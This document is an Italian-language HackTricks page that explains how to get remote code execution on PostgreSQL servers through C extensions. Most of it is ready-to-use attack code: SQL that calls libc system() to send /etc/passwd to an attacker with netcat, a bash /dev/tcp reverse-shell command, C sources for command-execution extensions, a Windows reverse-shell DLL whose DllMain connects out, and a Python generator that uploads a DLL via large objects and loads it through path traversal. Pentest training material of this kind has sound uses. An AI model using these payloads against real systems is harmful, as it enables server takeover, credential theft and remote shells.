mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
332 lines
13 KiB
Markdown
332 lines
13 KiB
Markdown
# RCE con Estensioni PostgreSQL
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Estensioni PostgreSQL
|
|
|
|
PostgreSQL è stato sviluppato con l'estensibilità come caratteristica fondamentale, permettendo di integrare senza problemi le estensioni come se fossero funzionalità integrate. Queste estensioni, essenzialmente librerie scritte in C, arricchiscono il database con funzioni, operatori o tipi aggiuntivi.
|
|
|
|
A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilate con un'intestazione speciale. Senza questo, PostgreSQL non le eseguirà, garantendo che vengano utilizzate solo estensioni compatibili e potenzialmente sicure.
|
|
|
|
Inoltre, tieni presente che **se non sai come** [**caricare file sulla vittima abusando di PostgreSQL dovresti leggere questo post.**](big-binary-files-upload-postgresql.md)
|
|
|
|
### RCE in Linux
|
|
|
|
**Per ulteriori informazioni controlla: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
|
|
|
L'esecuzione di comandi di sistema da PostgreSQL 8.1 e versioni precedenti è un processo che è stato chiaramente documentato ed è semplice. È possibile utilizzare questo: [modulo Metasploit](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
|
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
|
|
|
# You can also create functions to open and write files
|
|
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
|
|
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
|
|
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
|
|
```
|
|
<details>
|
|
|
|
<summary>Scrivere un file binario da base64</summary>
|
|
|
|
Per scrivere un binario in un file in postgres potresti dover usare base64, questo sarà utile a tal proposito:
|
|
```sql
|
|
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
|
$$
|
|
DECLARE
|
|
fh int;
|
|
s int;
|
|
w bytea;
|
|
i int;
|
|
BEGIN
|
|
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
|
|
|
|
IF fh <= 2 THEN
|
|
RETURN 1;
|
|
END IF;
|
|
|
|
SELECT decode(s, 'base64') INTO w;
|
|
|
|
i := 0;
|
|
LOOP
|
|
EXIT WHEN i >= octet_length(w);
|
|
|
|
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
|
|
|
|
IF rs < 0 THEN
|
|
RETURN 2;
|
|
END IF;
|
|
|
|
i := i + 1;
|
|
END LOOP;
|
|
|
|
SELECT close(fh) INTO rs;
|
|
|
|
RETURN 0;
|
|
|
|
END;
|
|
$$ LANGUAGE 'plpgsql';
|
|
```
|
|
</details>
|
|
|
|
Tuttavia, quando tentato su versioni superiori **è stato mostrato il seguente errore**:
|
|
```c
|
|
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
|
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
|
```
|
|
Questo errore è spiegato nella [documentazione di PostgreSQL](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
|
|
|
> Per garantire che un file oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "magic block" con i contenuti appropriati. Questo consente al server di rilevare incompatibilità evidenti, come codice compilato per una versione principale diversa di PostgreSQL. Un magic block è richiesto a partire da PostgreSQL 8.2. Per includere un magic block, scrivi questo in uno (e solo uno) dei file sorgente del modulo, dopo aver incluso l'intestazione fmgr.h:
|
|
>
|
|
> `#ifdef PG_MODULE_MAGIC`\
|
|
> `PG_MODULE_MAGIC;`\
|
|
> `#endif`
|
|
|
|
Dalla versione 8.2 di PostgreSQL, il processo per un attaccante di sfruttare il sistema è diventato più impegnativo. L'attaccante deve utilizzare una libreria già presente sul sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata contro la versione principale compatibile di PostgreSQL e deve includere un "magic block" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più profonda dell'architettura del sistema e della compatibilità delle versioni.
|
|
|
|
#### Compila la libreria
|
|
|
|
Ottieni la versione di PostgreSQL con:
|
|
```sql
|
|
SELECT version();
|
|
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
|
```
|
|
Per compatibilità, è essenziale che le versioni principali siano allineate. Pertanto, compilare una libreria con qualsiasi versione della serie 9.6.x dovrebbe garantire un'integrazione riuscita.
|
|
|
|
Per installare quella versione nel tuo sistema:
|
|
```bash
|
|
apt install postgresql postgresql-server-dev-9.6
|
|
```
|
|
E compila la libreria:
|
|
```c
|
|
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
|
#include <string.h>
|
|
#include "postgres.h"
|
|
#include "fmgr.h"
|
|
|
|
#ifdef PG_MODULE_MAGIC
|
|
PG_MODULE_MAGIC;
|
|
#endif
|
|
|
|
PG_FUNCTION_INFO_V1(pg_exec);
|
|
Datum pg_exec(PG_FUNCTION_ARGS) {
|
|
char* command = PG_GETARG_CSTRING(0);
|
|
PG_RETURN_INT32(system(command));
|
|
}
|
|
```
|
|
Quindi carica la libreria compilata ed esegui comandi con:
|
|
```bash
|
|
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
|
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
|
#Notice the double single quotes are needed to scape the qoutes
|
|
```
|
|
Puoi trovare questa **libreria precompilata** per diverse versioni di PostgreSQL e puoi anche **automatizzare questo processo** (se hai accesso a PostgreSQL) con:
|
|
|
|
{{#ref}}
|
|
https://github.com/Dionach/pgexec
|
|
{{#endref}}
|
|
|
|
### RCE in Windows
|
|
|
|
Il seguente DLL prende come input il **nome del binario** e il **numero** di **volte** che vuoi eseguirlo e lo esegue:
|
|
```c
|
|
#include "postgres.h"
|
|
#include <string.h>
|
|
#include "fmgr.h"
|
|
#include "utils/geo_decls.h"
|
|
#include <stdio.h>
|
|
#include "utils/builtins.h"
|
|
|
|
#ifdef PG_MODULE_MAGIC
|
|
PG_MODULE_MAGIC;
|
|
#endif
|
|
|
|
/* Add a prototype marked PGDLLEXPORT */
|
|
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
|
|
PG_FUNCTION_INFO_V1(pgsql_exec);
|
|
|
|
/* this function launches the executable passed in as the first parameter
|
|
in a FOR loop bound by the second parameter that is also passed*/
|
|
Datum
|
|
pgsql_exec(PG_FUNCTION_ARGS)
|
|
{
|
|
/* convert text pointer to C string */
|
|
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
|
|
|
|
/* retrieve the second argument that is passed to the function (an integer)
|
|
that will serve as our counter limit*/
|
|
|
|
int instances = PG_GETARG_INT32(1);
|
|
|
|
for (int c = 0; c < instances; c++) {
|
|
/*launch the process passed in the first parameter*/
|
|
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
|
}
|
|
PG_RETURN_VOID();
|
|
}
|
|
```
|
|
Puoi trovare il DLL compilato in questo zip:
|
|
|
|
{{#file}}
|
|
pgsql_exec.zip
|
|
{{#endfile}}
|
|
|
|
Puoi indicare a questo DLL **quale binario eseguire** e il numero di volte da eseguire, in questo esempio eseguirà `calc.exe` 2 volte:
|
|
```bash
|
|
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
|
SELECT remote_exec('calc.exe', 2);
|
|
DROP FUNCTION remote_exec(text, integer);
|
|
```
|
|
In [**here** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)puoi trovare questa reverse-shell:
|
|
```c
|
|
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
|
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
|
|
|
#include "postgres.h"
|
|
#include <string.h>
|
|
#include "fmgr.h"
|
|
#include "utils/geo_decls.h"
|
|
#include <winsock2.h>
|
|
|
|
#pragma comment(lib,"ws2_32")
|
|
|
|
#ifdef PG_MODULE_MAGIC
|
|
PG_MODULE_MAGIC;
|
|
#endif
|
|
|
|
#pragma warning(push)
|
|
#pragma warning(disable: 4996)
|
|
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
|
|
|
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
|
|
_In_ DWORD fdwReason,
|
|
_In_ LPVOID lpvReserved)
|
|
{
|
|
WSADATA wsaData;
|
|
SOCKET wsock;
|
|
struct sockaddr_in server;
|
|
char ip_addr[16];
|
|
STARTUPINFOA startupinfo;
|
|
PROCESS_INFORMATION processinfo;
|
|
|
|
char *program = "cmd.exe";
|
|
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
|
|
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
|
|
|
|
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
|
wsock = WSASocket(AF_INET, SOCK_STREAM,
|
|
IPPROTO_TCP, NULL, 0, 0);
|
|
|
|
struct hostent *host;
|
|
host = gethostbyname(ip);
|
|
strcpy_s(ip_addr, sizeof(ip_addr),
|
|
inet_ntoa(*((struct in_addr *)host->h_addr)));
|
|
|
|
server.sin_family = AF_INET;
|
|
server.sin_port = htons(port);
|
|
server.sin_addr.s_addr = inet_addr(ip_addr);
|
|
|
|
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
|
|
NULL, NULL, NULL, NULL);
|
|
|
|
memset(&startupinfo, 0, sizeof(startupinfo));
|
|
startupinfo.cb = sizeof(startupinfo);
|
|
startupinfo.dwFlags = STARTF_USESTDHANDLES;
|
|
startupinfo.hStdInput = startupinfo.hStdOutput =
|
|
startupinfo.hStdError = (HANDLE)wsock;
|
|
|
|
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
|
|
NULL, NULL, &startupinfo, &processinfo);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
#pragma warning(pop) /* re-enable 4996 */
|
|
|
|
/* Add a prototype marked PGDLLEXPORT */
|
|
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
|
|
|
|
PG_FUNCTION_INFO_V1(add_one);
|
|
|
|
Datum dummy_function(PG_FUNCTION_ARGS)
|
|
{
|
|
int32 arg = PG_GETARG_INT32(0);
|
|
|
|
PG_RETURN_INT32(arg + 1);
|
|
}
|
|
```
|
|
Nota come in questo caso il **codice malevolo si trova all'interno della funzione DllMain**. Questo significa che in questo caso non è necessario eseguire la funzione caricata in postgresql, basta **caricare il DLL** per **eseguire** la reverse shell:
|
|
```c
|
|
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
|
```
|
|
Il [PolyUDF project](https://github.com/rop-la/PolyUDF) è anche un buon punto di partenza con il progetto completo di MS Visual Studio e una libreria pronta all'uso (inclusi: _command eval_, _exec_ e _cleanup_) con supporto multiversione.
|
|
|
|
### RCE nelle ultime versioni di PostgreSQL
|
|
|
|
Nelle **ultime versioni** di PostgreSQL, sono state imposte restrizioni in cui il `superuser` è **proibito** dal **caricare** file di librerie condivise tranne che da directory specifiche, come `C:\Program Files\PostgreSQL\11\lib` su Windows o `/var/lib/postgresql/11/lib` su sistemi \*nix. Queste directory sono **protette** contro le operazioni di scrittura sia dagli account NETWORK_SERVICE che postgres.
|
|
|
|
Nonostante queste restrizioni, è possibile per un `superuser` autenticato **scrivere file binari** nel filesystem utilizzando "large objects." Questa capacità si estende alla scrittura all'interno della directory `C:\Program Files\PostgreSQL\11\data`, che è essenziale per operazioni di database come l'aggiornamento o la creazione di tabelle.
|
|
|
|
Una vulnerabilità significativa deriva dal comando `CREATE FUNCTION`, che **permette la traversata delle directory** nella directory dei dati. Di conseguenza, un attaccante autenticato potrebbe **sfruttare questa traversata** per scrivere un file di libreria condivisa nella directory dei dati e poi **caricarlo**. Questo exploit consente all'attaccante di eseguire codice arbitrario, ottenendo l'esecuzione di codice nativo sul sistema.
|
|
|
|
#### Flusso di attacco
|
|
|
|
Prima di tutto, è necessario **utilizzare large objects per caricare il dll**. Puoi vedere come farlo qui:
|
|
|
|
{{#ref}}
|
|
big-binary-files-upload-postgresql.md
|
|
{{#endref}}
|
|
|
|
Una volta che hai caricato l'estensione (con il nome di poc.dll per questo esempio) nella directory dei dati, puoi caricarla con:
|
|
```c
|
|
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
|
select connect_back('192.168.100.54', 1234);
|
|
```
|
|
_Nota che non è necessario aggiungere l'estensione `.dll` poiché la funzione create la aggiungerà._
|
|
|
|
Per ulteriori informazioni **leggi la**[ **pubblicazione originale qui**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
|
In quella pubblicazione **questo era il** [**codice usato per generare l'estensione postgres**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_per imparare a compilare un'estensione postgres leggi una delle versioni precedenti_).\
|
|
Nella stessa pagina è stato fornito questo **exploit per automatizzare** questa tecnica:
|
|
```python
|
|
#!/usr/bin/env python3
|
|
import sys
|
|
|
|
if len(sys.argv) != 4:
|
|
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
|
|
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
|
|
sys.exit(1)
|
|
|
|
host = sys.argv[1]
|
|
port = int(sys.argv[2])
|
|
lib = sys.argv[3]
|
|
with open(lib, "rb") as dll:
|
|
d = dll.read()
|
|
sql = "select lo_import('C:/Windows/win.ini', 1337);"
|
|
for i in range(0, len(d)//2048):
|
|
start = i * 2048
|
|
end = (i+1) * 2048
|
|
if i == 0:
|
|
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
|
|
else:
|
|
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
|
|
if (len(d) % 2048) != 0:
|
|
end = (i+1) * 2048
|
|
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
|
|
|
|
sql += "select lo_export(1337, 'poc.dll');"
|
|
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
|
|
sql += "select connect_back('%s', %d);" % (host, port)
|
|
print("(+) building poc.sql file")
|
|
with open("poc.sql", "w") as sqlfile:
|
|
sqlfile.write(sql)
|
|
print("(+) run poc.sql in PostgreSQL using the superuser")
|
|
print("(+) for a db cleanup only, run the following sql:")
|
|
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
|
print(" drop function connect_back(text, integer);")
|
|
```
|
|
## Riferimenti
|
|
|
|
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
|
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|